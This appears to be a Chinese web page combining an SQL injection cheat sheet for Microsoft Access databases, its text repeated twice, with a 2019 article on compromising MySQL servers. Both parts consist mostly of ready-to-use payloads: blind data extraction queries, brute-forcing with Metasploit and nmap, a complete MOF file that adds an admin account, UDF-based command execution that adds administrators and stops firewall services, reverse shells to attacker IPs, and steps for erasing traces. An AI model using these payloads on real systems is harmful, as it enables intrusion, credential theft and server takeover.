    LIMIT不被支持,但是在查询中可以声明"TOP N"来限制返回内容的行数:  ' UNION SELECT TOP 3 AttrName FROM validTableName : 这条语句返回(前)3 行.
        *
    让查询返回0行:在脚本在返回的HTML结果中只显示第一个查询的结果的时候非常有用:* ' AND 1=0 UNION SELECT AttrName1,AttrName2 FROM validTableName
        *
    字符串连接:不支持CONCAT()函数. 可以使用"&"或"+"操作来俩接两个字符串.在使用的时侯必须对这两个操作符进行URLencode编码:
    * ' UNION SELECT 'web' %2b 'app' FROM validTableName : 返回"webapp"
    * ' UNION SELECT 'web' %26 'app' FROM validTableName : 返回"webapp"
        *
    暴WEB路径:
    可以通过对一个不存在的库进行SELECT操作.Access将回应一条包含有完整路径的错误信息
    * ' UNION SELECT 1 FROM ThisIsAFakeName.FakeTable
        *
    IF语句: 可以使用IIF()函数. 语法 : IIF(condition, true, false), ' UNION SELECT IIF(1=1, 'a', 'b') FROM validTableName : 返回 'a'
        *
    验证文件是否存在:' UNION SELECT name FROM msysobjects IN '\boot.ini' : (如果文件存在)将会获得一条错误信息:it informs that the database format was not recognized。


    0x002:注入步骤
        *
    表名猜解: ' UNION SELECT 1 FROM table[i]
        *
    列名猜解:  需要一个已知的表名和主查询的列的数目: ' UNION SELECT fieldName[j],1,1,1 FROM validTableName


    你可以将上面的例子修改一下(将table改为fieldname),如果表不存在,将会返回一个列不存在的错误信息.
        *
    列名枚举: 此原理已经在JBoss(一个使用Access存在漏洞的.jsp脚本)上测试通过 ,但是不敢保证在其他的环境下同样可用, 通常情况下,如果存在SQL注入漏洞,当你在URL参数后加一个"'"后,你将会得到一些错误信息,例如: Error (...) syntax (...) query (...) : " Id=0' "

            从这个信息可以得出当前表存在一个列"ID".通常程序员会使用同样的URL参数,列名及表名.当你知道一个参数后,就可以通过mssql来枚举其他表名和列名:
    ' GROUP BY Id现在你将获得一个新的错误信息,它包含了另一个新的列名.你可以继续像这样枚举其他的表名: ' GROUP BY Id, SecondAttrName, ...
    0x003:与操作系统的交互
        *
    安全提示:可以通过修改注册表来锁定一些受争议的函数的使用(比如SHELL(),等...):\\HKEY_LOCAL_MACHINE\Software\Microsoft\Jet\4.0\engines\SandboxMode


    它的默认值是2,因此这些函数默认不可用.在下面我将会向你介绍当注册表的值被设置为0的情况.
        *
    获取当前目录: 需要一个已知的表名和主查询的列的数目:' UNION SELECT CurDir(),1,1 FROM validTableName    *执行系统命令:shell()函数可以用来执行系统命令:
     
    ' AND SHELL('cmd.exe /c echo owned > c:\path\name\index.html')
     0x004:Access的系统表
    MSysAccessXML:
        *
    Id
        *
    LValue
        *
    ObjectGuid
        *
    ObjectName
        *
    Property
        *
    Value


    MSysACEs:
        *
    ACM
        *
    FInheritable
        *
    ObjectId
        *
    SID


    MSysObjects:
        *
    Connect
        *
    Database
        *
    DataCreate
        *
    DataUpdate
        *
    Flags
        *
    ForeignName
        *
    Id
        *
    Lv
        *
    LxExtra
        *
    LvModule
        *
    LvProp
        *
    Name
        *
    Owner
        *
    ParentId
        *
    RmtInfoLong
        *
    RmtInfoShort
        *
    Type


    这条查询可以用来获得数据库中的表名:
    ' UNION SELECT Name FROM MSysObjects WHERE Type = 1
     0x005:盲注
        *
    猜解表名:可以使用下面提供的字典来猜解表名.注入查询语句:

    ' AND (SELECT TOP 1 1 FROM TableNameToBruteforce[i])
    在提交注入查询语句后,如果你获得的HTML返回和正常页面一样,则表存在.(因为 "AND 1"对查询没有任何影响).
        *
    猜解列名: 在指导表名的情况下,使用如下查询:

    ' AND (SELECT TOP 1 FieldNameToBruteForce[j] FROM table)
    用和第一步同样的方法判断列是否存在.
        *
    猜解内容的行数: 在进一步的行动中,你必须知道表中内容的行数. 它在下面的查询中将被用作"TAB_LEN"变量:
    ' AND IIF((SELECT COUNT(*) FROM validTableName) = X, 1, 0)
     
    这里的"X" 是大于0的任意值.可以使用老方法来判断"X"的准确值
     
    0x006:猜解内容长度
     你能通过以下语句获取"ATTRIB"列的第一行的内容长度:
    ' AND IIF((SELECT TOP 1 LEN(ATTRIB) FROM validTableName) = X, 1, 0)
     可以通过以下语句猜解到 "ATTRIB"列中第二行到第TAB_LEN行的内容的长度 (这里N的值在2和TAB_LEN(在前面已经获得)之间):

    ' AND IIF((SELECT TOP N LEN(ATTRIB) FROM validTableName WHERE ATTRIB<>'value1' AND ATTRIB<>'value2' ...(etc)...) = KKK,1,0)
    "KKK" 为大于0的任意值,使用ATTRIB<>'valueXXX'的原因是我们必须选择一个特定的行来猜解.我想到的方法是将之前得到的"TOP N"行的值排除掉,然后剩下的行就是正在猜解的行.当然,这里有一个前提"ATTRIB"必须是主键.这里有一个例子:
      A1              A2                    A3
    1111           2222                 3333 
    0000           4444                 oooo
    aaaa           bbbb                 cccc  可以这样获取第一行的所有内容的长度:' AND IIF((SELECT TOP 1 LEN(A1) FROM Table) = KKK, 1, 0)' AND IIF((SELECT TOP 1 LEN(A1) FROM Table) = KKK, 1, 0)' AND IIF((SELECT TOP 1 LEN(A3) FROM Table) = KKK, 1, 0)然后就可以这样获取第二行的内容的长度(假设A1为表的主键):' AND IIF((SELECT TOP 2 LEN(A1) FROM Table WHERE
    A1 <>'1111') = KKK, 1, 0)' AND IIF((SELECT TOP 2 LEN(A2) FROM Table WHERE
    A1 <> '1111') = KKK, 1, 0)'AND IIF((SELECT TOP 2 LEN(A3) FROM Table WHERE
    A1 <> '1111') = KKK, 1, 0)第三行也一样:' AND IIF((SELECT TOP 3 LEN(A1) FROM Table WHERE
    A1 <>'1111' AND A1 <> '0000') = KKK, 1, 0)' AND IIF((SELECT TOP 3 LEN(A2) FROM Table WHERE
    A1 <> '1111' AND A1 <> '0000') = KKK, 1, 0)' AND IIF((SELECT TOP 3 LEN(A3) FROM Table WHERE
    A1 <> '1111' AND A1 <> '0000') = KKK, 1, 0)
    很明显,在猜解第一行以后的内容的长度(第2到第TAB_LEN行),你必须得到之前所有行的内容(你需要把它放在WHERE后)。
     最后:猜解内容。
    假设攻击者已经知道了表和列名,他将使用这样的查询:[size=16][b]' AND IIF((SELECT TOP N MID(ATTRIBxxx, XXX, 1) FROM validTableName WHERE ATT_key <>'value1' AND ATT_key <>'value2'
    ... etc ... ) = CHAR(YYY), 1, 0)[/b][/size]
    "N"是要猜解的行, "XXX"是 "ATTRIBxxx"的第X个字节, "ATT_key"是表的的主键"YYY"是一个0到255之间的数.(它代表着一个字符的ASCII码).这里我们任然要使用前面提到的方法猜解其他行的内容.
     0x007:表名/列名(字典)
    这里是一个小的表/列名样本字典
        *
    account, accnts, accnt, user_id, members, usrs, usr2, accounts, admin, admins, adminlogin, auth, authenticate, authentication, account, access;
        *
    customers, customer, config, conf, cfg;
        *
    hash;
        *
    login, logout, loginout, log;
        *
    member, memberid;
        *
    password, pass_hash, pass, passwd, passw, pword, pwrd, pwd;
        *
    store, store1, store2, store3, store4, setting;
        *
    username, name, user, user_name, user_username, uname, user_uname, usern, user_usern, un, user_un, usrnm, user_usrnm, usr, usernm, user_usernm, user_nm, user_password, userpass, user_pass, , user_pword, user_passw, user_pwrd, user_pwd, user_passwd;







      查看全部
    0x001:基础知识
        *
        默认用户:admin,密码:空。
        *
        注释符: Access中没有专门的注释符号.因此"/*", "--"和"#"都没法使用.但是可以使用空字符"NULL"()代替: ' UNION SELECT 1,1,1 FROM validTableName
        *
    Access不支持多句执行
        *
    Access支持联合查询,UNION后的FROM关键字必须使用一个已经存在的表名.
        *
    附属查询: Access支持附属查询(例如:"TOP 1"用来返回第一行的内容) : ' AND (SELECT TOP 1 'someData' FROM validTableName)
        *
    LIMIT不被支持,但是在查询中可以声明"TOP N"来限制返回内容的行数:  ' UNION SELECT TOP 3 AttrName FROM validTableName : 这条语句返回(前)3 行.
        *
    让查询返回0行:在脚本在返回的HTML结果中只显示第一个查询的结果的时候非常有用:* ' AND 1=0 UNION SELECT AttrName1,AttrName2 FROM validTableName
        *
    字符串连接:不支持CONCAT()函数. 可以使用"&"或"+"操作来俩接两个字符串.在使用的时侯必须对这两个操作符进行URLencode编码:
    * ' UNION SELECT 'web' %2b 'app' FROM validTableName : 返回"webapp"
    * ' UNION SELECT 'web' %26 'app' FROM validTableName : 返回"webapp"
        *
    暴WEB路径:
    可以通过对一个不存在的库进行SELECT操作.Access将回应一条包含有完整路径的错误信息
    * ' UNION SELECT 1 FROM ThisIsAFakeName.FakeTable
        *
    IF语句: 可以使用IIF()函数. 语法 : IIF(condition, true, false), ' UNION SELECT IIF(1=1, 'a', 'b') FROM validTableName : 返回 'a'
        *
    验证文件是否存在:' UNION SELECT name FROM msysobjects IN '\boot.ini' : (如果文件存在)将会获得一条错误信息:it informs that the database format was not recognized。


    0x002:注入步骤
        *
    表名猜解: ' UNION SELECT 1 FROM table[i]
        *
    列名猜解:  需要一个已知的表名和主查询的列的数目: ' UNION SELECT fieldName[j],1,1,1 FROM validTableName


    你可以将上面的例子修改一下(将table改为fieldname),如果表不存在,将会返回一个列不存在的错误信息.
        *
    列名枚举: 此原理已经在JBoss(一个使用Access存在漏洞的.jsp脚本)上测试通过 ,但是不敢保证在其他的环境下同样可用, 通常情况下,如果存在SQL注入漏洞,当你在URL参数后加一个"'"后,你将会得到一些错误信息,例如: Error (...) syntax (...) query (...) : " Id=0' "

            从这个信息可以得出当前表存在一个列"ID".通常程序员会使用同样的URL参数,列名及表名.当你知道一个参数后,就可以通过mssql来枚举其他表名和列名:
    ' GROUP BY Id现在你将获得一个新的错误信息,它包含了另一个新的列名.你可以继续像这样枚举其他的表名: ' GROUP BY Id, SecondAttrName, ...
    0x003:与操作系统的交互
        *
    安全提示:可以通过修改注册表来锁定一些受争议的函数的使用(比如SHELL(),等...):\\HKEY_LOCAL_MACHINE\Software\Microsoft\Jet\4.0\engines\SandboxMode


    它的默认值是2,因此这些函数默认不可用.在下面我将会向你介绍当注册表的值被设置为0的情况.
        *
    • 获取当前目录: 需要一个已知的表名和主查询的列的数目:
    ' UNION SELECT CurDir(),1,1 FROM validTableName    *
    • 执行系统命令:shell()函数可以用来执行系统命令:

     
    ' AND SHELL('cmd.exe /c echo owned > c:\path\name\index.html')
     0x004:Access的系统表
    MSysAccessXML
        *
    Id
        *
    LValue
        *
    ObjectGuid
        *
    ObjectName
        *
    Property
        *
    Value


    MSysACEs
        *
    ACM
        *
    FInheritable
        *
    ObjectId
        *
    SID


    MSysObjects
        *
    Connect
        *
    Database
        *
    DataCreate
        *
    DataUpdate
        *
    Flags
        *
    ForeignName
        *
    Id
        *
    Lv
        *
    LxExtra
        *
    LvModule
        *
    LvProp
        *
    Name
        *
    Owner
        *
    ParentId
        *
    RmtInfoLong
        *
    RmtInfoShort
        *
    Type


    这条查询可以用来获得数据库中的表名:
    ' UNION SELECT Name FROM MSysObjects WHERE Type = 1
     0x005:盲注
        *
    猜解表名:可以使用下面提供的字典来猜解表名.注入查询语句:

    ' AND (SELECT TOP 1 1 FROM TableNameToBruteforce[i])
    在提交注入查询语句后,如果你获得的HTML返回和正常页面一样,则表存在.(因为 "AND 1"对查询没有任何影响).
        *
    猜解列名: 在指导表名的情况下,使用如下查询:

    ' AND (SELECT TOP 1 FieldNameToBruteForce[j] FROM table)
    用和第一步同样的方法判断列是否存在.
        *
    猜解内容的行数: 在进一步的行动中,你必须知道表中内容的行数. 它在下面的查询中将被用作"TAB_LEN"变量:
    ' AND IIF((SELECT COUNT(*) FROM validTableName) = X, 1, 0)
     
    这里的"X" 是大于0的任意值.可以使用老方法来判断"X"的准确值
     
    0x006:猜解内容长度
     你能通过以下语句获取"ATTRIB"列的第一行的内容长度:
    ' AND IIF((SELECT TOP 1 LEN(ATTRIB) FROM validTableName) = X, 1, 0)
     可以通过以下语句猜解到 "ATTRIB"列中第二行到第TAB_LEN行的内容的长度 (这里N的值在2和TAB_LEN(在前面已经获得)之间):

    ' AND IIF((SELECT TOP N LEN(ATTRIB) FROM validTableName WHERE ATTRIB<>'value1' AND ATTRIB<>'value2' ...(etc)...) = KKK,1,0)
    "KKK" 为大于0的任意值,使用ATTRIB<>'valueXXX'的原因是我们必须选择一个特定的行来猜解.我想到的方法是将之前得到的"TOP N"行的值排除掉,然后剩下的行就是正在猜解的行.当然,这里有一个前提"ATTRIB"必须是主键.这里有一个例子:
      A1              A2                    A3
    1111           2222                 3333 
    0000           4444                 oooo
    aaaa           bbbb                 cccc  可以这样获取第一行的所有内容的长度:
    ' AND IIF((SELECT TOP 1 LEN(A1) FROM Table) = KKK, 1, 0)
    ' AND IIF((SELECT TOP 1 LEN(A1) FROM Table) = KKK, 1, 0)
    ' AND IIF((SELECT TOP 1 LEN(A3) FROM Table) = KKK, 1, 0)
    然后就可以这样获取第二行的内容的长度(假设A1为表的主键):
    ' AND IIF((SELECT TOP 2 LEN(A1) FROM Table WHERE
    A1 <>'1111') = KKK, 1, 0)
    ' AND IIF((SELECT TOP 2 LEN(A2) FROM Table WHERE
    A1 <> '1111') = KKK, 1, 0)
    'AND IIF((SELECT TOP 2 LEN(A3) FROM Table WHERE
    A1 <> '1111') = KKK, 1, 0)
    第三行也一样:
    ' AND IIF((SELECT TOP 3 LEN(A1) FROM Table WHERE
    A1 <>'1111' AND A1 <> '0000') = KKK, 1, 0)
    ' AND IIF((SELECT TOP 3 LEN(A2) FROM Table WHERE
    A1 <> '1111' AND A1 <> '0000') = KKK, 1, 0)
    ' AND IIF((SELECT TOP 3 LEN(A3) FROM Table WHERE
    A1 <> '1111' AND A1 <> '0000') = KKK, 1, 0)

    很明显,在猜解第一行以后的内容的长度(第2到第TAB_LEN行),你必须得到之前所有行的内容(你需要把它放在WHERE后)。
     最后:猜解内容。
    假设攻击者已经知道了表和列名,他将使用这样的查询:
    [size=16][b]' AND IIF((SELECT TOP N MID(ATTRIBxxx, XXX, 1) FROM validTableName WHERE ATT_key <>'value1' AND ATT_key <>'value2'
    ... etc ... ) = CHAR(YYY), 1, 0)[/b][/size]

    "N"是要猜解的行, "XXX"是 "ATTRIBxxx"的第X个字节, "ATT_key"是表的的主键"YYY"是一个0到255之间的数.(它代表着一个字符的ASCII码).这里我们任然要使用前面提到的方法猜解其他行的内容.
     0x007:表名/列名(字典)
    这里是一个小的表/列名样本字典
        *
    account, accnts, accnt, user_id, members, usrs, usr2, accounts, admin, admins, adminlogin, auth, authenticate, authentication, account, access;
        *
    customers, customer, config, conf, cfg;
        *
    hash;
        *
    login, logout, loginout, log;
        *
    member, memberid;
        *
    password, pass_hash, pass, passwd, passw, pword, pwrd, pwd;
        *
    store, store1, store2, store3, store4, setting;
        *
    username, name, user, user_name, user_username, uname, user_uname, usern, user_usern, un, user_un, usrnm, user_usrnm, usr, usernm, user_usernm, user_nm, user_password, userpass, user_pass, , user_pword, user_passw, user_pwrd, user_pwd, user_passwd;








     

    mysql数据库渗透及漏洞利用总结

    数据库SQL语言flaray 发表了文章 • 0 个评论 • 200 次浏览 • 2019-03-25 13:27 • 来自相关话题

     Mysql数据库是目前世界上使用最为广泛的数据库之一,很多著名公司和站点都使用Mysql作为其数据库支撑,目前很多架构都以Mysql作为数据库管理系统,例如LAMP、和WAMP等,在针对网站渗透中,很多都是跟Mysql数据库有关,各种Mysql注入,Mysql提权,Mysql数据库root账号webshell获取等的,但没有一个对Mysql数据库渗透较为全面对总结,针对这种情况我们开展了研究,虽然我们团队今年正在出版《网络攻防实战研究——漏洞利用与提权》,但技术的进步有无止境,思想有多远,路就可以走多远,在研究mysql数据库安全之余,对Mysql如何通过msf、sqlmap等来进行扫描、漏洞利用、提权、Mysql密码破解和获取webshell等进行了详细研究。
     
    1.1 mysql信息收集
            1、端口信息收集
    mysql默认端口是3306端口,但也有自定义端口针对默认端口扫描主要利用扫描软件进行探测,推荐使用:    
        1. iisputter,直接填写3306端口,IP地址填写单个或者C段地址。
        2. nmap扫描nmap -p 3306 192.168.1.1-254
    特定目标的渗透,可能需要对全端口进行扫描,可以使用Nmap对某一个IP地址进行全端口扫描,端口扫描软件还有sfind等DOS下扫描的工具。
      2、版本信息收集
    (1)msf查看版本信息auxiliary/scanner/mysql/mysql_version模块,以扫描主机192.168.157.130为例,命令为:
            
            use auxiliary/scanner/mysql/mysql_version
            set rhosts 192.168.157.130
            run
    (2)mysql查询版本命令:            SELECT @@version`、`SELECT version();
    (3)sqlmap通过注入点扫描确认信息:
            sqlmap.py -u url --dbms mysql
    (4)phpmyadmin管理页面登录后查看localhost->变量->服务器变量和设置中的version参数值。
      3、数据库管理信息收集
    Mysql管理工具有多种,例如phpmyadmin网站管理,Navicat for MySQL以及MysqlFront等客户端工具。这些工具有的会直接保存配置信息,这些信息包含数据库服务器地址和数据库用户名以及密码,通过嗅探或者破解配置文件可以获取密码等信息。
      4、msf信息收集模块:
    (1)mysql哈希值枚举
            use auxiliary/scanner/mysql/mysql_hashdump
            set username root
            set password root
            run
    (2)获取相关信息
            use auxiliary/admin/mysql/mysql_enum
            set username root
            set password root
            run
            获取数据库版本,操作系统名称,架构,数据库目录,数据库用户以及密码哈希值。
    (3)执行mysql语句,连接成功后可以在msf执行sql语句,跟sqlmap的–sql-shell模块类似。
            use auxiliary/admin/mysql/mysql_sql
    (4)将mysql_schem导出到本地 /root/.msf4/loot/文件夹下       
            use auxiliary/scanner/mysql/mysql_schemadump
    (5)文件枚举和目录可写信息枚举
            auxiliary/scanner/mysql/mysql_file_enum
            auxiliary/scanner/mysql/mysql_writable_dirs    没有测试成功过,需要定义枚举目录和相关文件,觉得基本没有啥用。
     
    1.2 mysql密码获取
            1.2.1暴力破解
    Mysql暴力破解主要有几种:
        1.网页在线连接破解
            可以使用burpsuite和phpMyAdmin多线程批量破解工具。 下载: https://portswigger.net/burp/、 http://pan.baidu.com/s/1c1LD6co
        2.msf通过命令行进行暴力破解
            msf破解mysql密码模块auxiliary/scanner/mysql/mysql_login,其参数主要有BLANK_PASSWORDS、BRUTEFORCE_SPEED、DB_ALL_CREDS、DB_ALL_PASS、DB_ALL_USERS、PASSWORD、PASS_FILE、Proxies、RHOSTS、RPORT、STOP_ON_SUCCESS、THREADS、USERNAME、USERPASS_FILE、USER_AS_PASS、USER_FILE、VERBOSE参数。对单一主机仅仅需要设置RHOSTS、RPORT、USERNAME、PASSWORD和PASS_FILE,其它参数根据实际情况进行设置。
            (1)场景A:对内网获取root某一个口令后,扩展渗透
                use auxiliary/scanner/mysql/mysql_login
                set RHOSTS 192.168.157.1-254
                set password root
                set username root
                run
              执行后对192.168.157.1-254进行mysql密码扫描验证。
            (2)场景B:使用密码字典进行扫描           
                    use auxiliary/scanner/mysql/mysql_login
                    set RHOSTS 192.168.157.1-254
                    set pass_file /tmp/password.txt
                    set username root
                    run
        3.使用nmap扫描并破解密码
            (1)对某一个IP或者IP地址段进行nmap默认密码暴力破解并扫描
                nmap --script=mysql-brute 192.168.157.130
                nmap --script=mysql-brute 192.168.157.1-254
            (2)使用root账号root密码进行mysql密码验证并扫描获取指定IP地址的端口信息以及mysql数据库相关信息
                nmap -sV --script=mysql-databases --script-argsmysqluser=root,mysqlpass=root 192.168.157.130            (3)检查root空口令
                nmap --script mysql-empty-password 192.168.195.130
        4.使用hscan工具对mysql口令进行扫描,需要设置扫描IP地址段以及数据库口令字典及用户名字典。
     
    1.2.2源代码泄露1.网站源代码备份文件
        一些网站源代码文件中会包含数据库连接文件,通过查看这些文件可以获取数据库账号和密码。一般常见的数据库连接文件为config.php、web.config、conn.asp、db.php/asp、jdbc.properties、sysconfig.properties、JBOSS_HOME\docs\examples\jca\XXXX-ds.xml。以前有一款工具挖掘鸡可以自定义网站等名称对zip/rar/tar/tar.gz/gz/sql等后缀文件进行扫描。
    2.配置备份文件
        使用ultraedit等编辑文件编辑数据库配置文件后,会留下bak文件。
            1.2.3 文件包含: 本地文件包含漏洞可以包含文件,通过查看文件代码获取数据库配置文件,进而读取数据库用户名和密码。
            1.2.4其他情况: 有些软件会将IP地址、数据库用户名和密码写进程序中,运行程序后,通过cain软件进行嗅探,可以获取数据库密码。另外Mysql客户端管理工具有的管理员会建立连接记录,这些连接记录保存了用户名、密码和连接IP地址或者主机名,通过配置文件或者嗅探可以获取用户名和密码。
     1.3 mysql获取webshell
            1.3.1  phpmyadminroot账号获取webshell
       1. 3.2 sqlmap注入点获取webshell
     
    1.4 mysql提权
            1.4.1    mof提权
    1.Webshell上传mof文件提权
        MySQL Root权限MOF方法提权是来自国外Kingcope大牛发布的MySQL Scanner & MySQL Server for Windows Remote SYSTEM Level Exploit( https://www.exploit-db.com/exploits/23083/),简称mysql远程提权0day(MySQL Windows Remote System Level Exploit (Stuxnet technique) 0day)。Windows 管理规范 (WMI) 提供了以下三种方法编译到 WMI 存储库的托管对象格式 (MOF) 文件:
            方法1:运行 MOF 文件指定为命令行参数 Mofcomp.exe 文件。
            方法2:使用 IMofCompiler 接口和 $ CompileFile 方法。
            方法3:拖放到 %SystemRoot%\System32\Wbem\MOF 文件夹的 MOF 文件。
        Microsoft 建议您到存储库编译 MOF 文件使用前两种方法。也就是运行 Mofcomp.exe 文件,或使用IMofCompiler::CompileFile方法。第三种方法仅为向后兼容性与早期版本的?WMI提供,并因为此功能可能不会提供在将来的版本后,不应使用。注意使用MOF方法提权的前提是当前Root帐号可以复制文件到%SystemRoot%\System32\Wbem\MOF目录下,否则会失败!
        该漏洞的利用前提条件是必须具备mysql的root权限,在Kingcope公布的0day中公布了一个pl利用脚本。
            perl mysql_win_remote.pl 192.168.2.100 root "" 192.168.2.150 5555
        192.168.2.100为mysql数据库所在服务器,mysql口令为空,反弹到192.168.2.150的5555端口上。
    2.生成nullevt.mof文件
        将以下代码保存为nullevt.mof文件:
            #pragma namespace("\\\\.\\root\\subscription")
            instance of __EventFilter as $EventFilter
            {
                EventNamespace = "Root\\Cimv2";
                Name = "filtP2";
                Query = "Select \ From __InstanceModificationEvent "
                "Where TargetInstance Isa \"Win32_LocalTime\" "
                "And TargetInstance.Second = 5";
                QueryLanguage = "WQL";
            };
            instance of ActiveScriptEventConsumer as $Consumer
            {
                Name = "consPCSV2";
                ScriptingEngine = "JScript";
                ScriptText =
                "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add")";
            };
            instance of __FilterToConsumerBinding
            {
                Consumer = $Consumer;
                Filter = $EventFilter;
            };
    3.通过Mysql查询将文件导入
        执行以下查询语句,将上面生成的nullevt.mof导入到c:\windows\system32\wbem\mof\目录下在windows7中默认是拒绝访问的。导入后系统会自动运行,执行命令。
        
    selectload_file('C:\\RECYCLER\\nullevt.mof') into dumpfile
    'c:/windows/system32/wbem/mof/nullevt.mof';
     1.4.2    msf直接mof提权
    Msf下的exploit/windows/mysql/mysql_mof模块提供了直接Mof提权,不过该漏洞成功跟操作系统权限和Mysql数据库版本有关,执行成功后会直接反弹shell到meterpreter。
    使用过程:
        use exploit/windows/mysql/mysql_mof
        set rhost 192.168.157.1 //设置需要提权的远程主机IP地址
        set rport 3306 //设置mysql的远程端口
        set password root //设置mysql数据库root密码
        set username root //设置mysql用户名
        options //查看设置
        run 0
    技巧:
        要是能够通过网页连接管理(phpmyadmin),则可以修改host为%并刷新权限后,则可以通过msf等工具远程连接数据库。默认root等账号不允许远程连接,除非管理员或者数据库用户自己设置。
    方法1:本地登入mysql,更改?mysql数据库里的?user?表里的?host项,将localhost改为%
        use mysql;
        update user set host = '%' where user = 'root';
        FLUSH PRIVILEGES ;
        select host, user from user;
    方法2:直接授权(推荐)
        从任何主机上使用root用户,密码:youpassword(你的root密码)连接到mysql服务器:
            # mysql -u root -proot
            GRANT ALL PRIVILEGES ON . TO 'root'@'%' IDENTIFIED BY 'youpassword' WITH GRANT OPTION;
            FLUSH PRIVILEGES;
        推荐重新增加一个用户,在实际测试过程中发现很多服务器使用root配置了多个地址,修改后可能会影响实际系统的运行。在实际测试过程中因此建议新增一个用户,授权所有权限,而不是直接更改root配置。
     
    1.4.3    UDF提权UDF提权是利用MYSQL的自定义函数功能,将MYSQL账号转化为系统system权限,其利用条件是目标系统是Windows(Win2000,XP,Win2003);拥有MYSQL的某个用户账号,此账号必须有对mysql的insert和delete权限以创建和抛弃函数,有root账号密码
    Windows下UDF提权对于Windows2008以下服务器比较适用,也即针对Windows2000、Windows2003的成功率较高。
    1.UDF提权条件   
        1. Mysql版本大于5.1版本udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下。
        2. Mysql版本小于5.1版本。udf.dll文件在Windows2003下放置于c:\windows\system32,在windows2000下放置于c:\winnt\system32。
        3. 掌握的mysql数据库的账号有对mysql的insert和delete权限以创建和抛弃函数,一般以root账号为佳,具备`root账号所具备的权限的其它账号也可以。
        4. 可以将udf.dll写入到相应目录的权限。
    2.提权方法        (1)获取数据库版本、数据位置以及插件位置等信息
                select version();//获取数据库版本
                select user();//获取数据库用户
                select @@basedir ;//获取安装目录
                show variables like '%plugins%'; //寻找mysql安装路径
        (2)导出路径
                C:\Winnt\udf.dll Windows 2000
                C:\Windows\udf.dll Windows2003(有的系统被转义,需要改为C:Windowsudf.dll)
            MYSQL 5.1以上版本,必须要把udf.dll文件放到MYSQL安装目录下的libplugin文件夹下才能创建自定义函数。该目录默认是不存在的,这就需要我们使用webshell找到MYSQL的安装目录,并在安装目录下创建libplugin文件夹,然后将udf.dll文件导出到该目录即可。
            在某些情况下,我们会遇到Can’t open shared library的情况,这时就需要我们把udf.dll导出到lib\plugin目录下才可以,网上大牛发现利用NTFS ADS流来创建文件夹的方法:
                select @@basedir; //查找到mysql的目录
                select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 
                5.1\\lib::$INDEX_ALLOCATION'; //利用NTFS ADS创建lib目录
                select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 
                5.1\\lib\\plugin::$INDEX_ALLOCATION';//利用NTFS ADS创建plugin目录
            执行成功以后就会plugin目录,然后再进行导出udf.dll即可。
        (3)创建cmdshell 函数,该函数叫什么名字在后续中则使用该函数进行查询:
            create function cmdshell returns string soname ‘lib_mysqludf_sys.dll’;
        (4)执行命令:
            select sys_eval(‘whoami’);
            一般情况下不会出现创建不成功哦。连不上3389可以先停止windows防火墙和筛选
            select sys_eval(‘net stop policyagent’);
            select sys_eval(‘net stop sharedaccess’);
            udf.dll下常见函数:
                cmdshell 执行cmd;
                downloader 下载者,到网上下载指定文件并保存到指定目录;
                open3389 通用开3389终端服务,可指定端口(不改端口无需重启);
                backshell 反弹Shell;
                ProcessView 枚举系统进程;
                KillProcess 终止指定进程;
                regread 读注册表;
                regwrite 写注册表;
                shut 关机,注销,重启;
                about 说明与帮助函数;
            具体用户示例: 
                select cmdshell('net user iis_user 123!@#abcABC /add');
                select cmdshell('net localgroup administrators iis_user /add');
                select cmdshell('regedit /s d:web3389.reg');
                select cmdshell('netstat -an');
        (5)清除痕迹
            drop function cmdshell;//将函数删除
            删除udf.dll文件以及其它相关入侵文件及日志。
        (6)常见错误
            1290 - The MySQL server is running with the --secure-file-priv option so it cannot 
            execute this statement
            在my.ini或者mysql.cnf文件中注销 (使用#号) 包含secure_file_priv的行(SHOW VARIABLES LIKE “secure_file_priv”)。
                1123 - Can't initialize function 'backshell';
                UDFs are unavailable with the --skip-grant-tables option
            需要将my.ini中的skip-grant-tables选项去掉。
    3.webshell下udf提权
        通过集成udf提权的webshell输入数据库用户名及密码以及数据库服务器地址或者IP通过连接后导出进行提权。
    4.Mysql提权综合利用工具
        v5est0r 写了一个Mysql提权综合利用工具,详细情况请参考其代码共享网站: https://github.com/v5est0r/Python_FuckMySQL其主要功能有:  
            (1)自动导出你的backdoor和mof文件
            (2)自动判断mysql版本,根据版本不同导出UDF的DLL到不同目录,UDF提权
            (3)导出LPK.dll文件,劫持系统目录提权
            (4)写启动项提权
        UdF自动提权:
            python root.py -a 127.0.0.1 -p root -e "ver&whoami" -m udf
        LPK劫持提权:
            python root.py -a 127.0.0.1 -p root -e "ver&whoami" -m lpk
        启动项提权:
            python root.py -a 127.0.0.1 -p root -e "ver&whoami" –mst
        例如通过LOAD_FILE来查看Mysql配置文件my.ini,如果其中配置了skip-grant-tables,这无法进行提权
     1.4.4    无法获取webshell提权
    1.连接mysql
        (1)mysql.exe -h ip -uroot -p
        (2)phpmyadmin
        (3)Navicat for MySQL
    2.查看数据库版本和数据路径
        SELECT VERSION( );
        Select @@datadir;
        5.1以下版本,将dll导入到c:/windows或者c:/windows/system32/
        5.1以上版本 通过以下查询来获取插件路径:
        SHOW VARIABLES WHERE Variable_Name LIKE "%dir";
        show variables like '%plugin%' ;
        select load_file('C:/phpStudy/Apache/conf/httpd.conf')
        select load_file('C:/phpStudy/Apache/conf/vhosts.conf')
        select load_file('C:/phpStudy/Apache/conf/extra/vhosts.conf')
        select load_file('C:/phpStudy/Apache/conf/extra/httpd.conf')
        select load_file('d:/phpStudy/Apache/conf/vhosts.conf')
    3.修改mysql.txt
        Mysql.txt为udf.dll的二进制文件转成十六进制代码。
        (1)先执行导入ghost表中的内容
            修改以下代码的末尾代码 select backshell(“YourIP”,4444);
        (2)导出文件到某个目录
                select data from Ghost into dumpfile 'c:/windows/mysqldll.dll';
                select data from Ghost into dumpfile 'c:/windows/system32/mysqldll';
                select data from Ghost into dumpfile 'c:/phpStudy/MySQL/lib/plugin/mysqldll';
                select data from Ghost into dumpfile 'E:/PHPnow-1.5.6/MySQL-5.0.90/lib/plugin/mysqldll';
                select data from Ghost into dumpfile 'C:/websoft/MySQL/MySQL Server 5.5/lib/plugin/mysqldll.dll'
                select data from Ghost into dumpfile 'D:/phpStudy/MySQL/lib/plugin/mysqldll.dll';
                select load_file('C:/ProgramData/MySQL/ MySQL Server 5.1/Data/mysql/user.frm');
                select data from Ghost into dumpfile 'C:\Program Files\MySQL\MySQL Server 5.1\lib/plugin/mysqldll.dll'
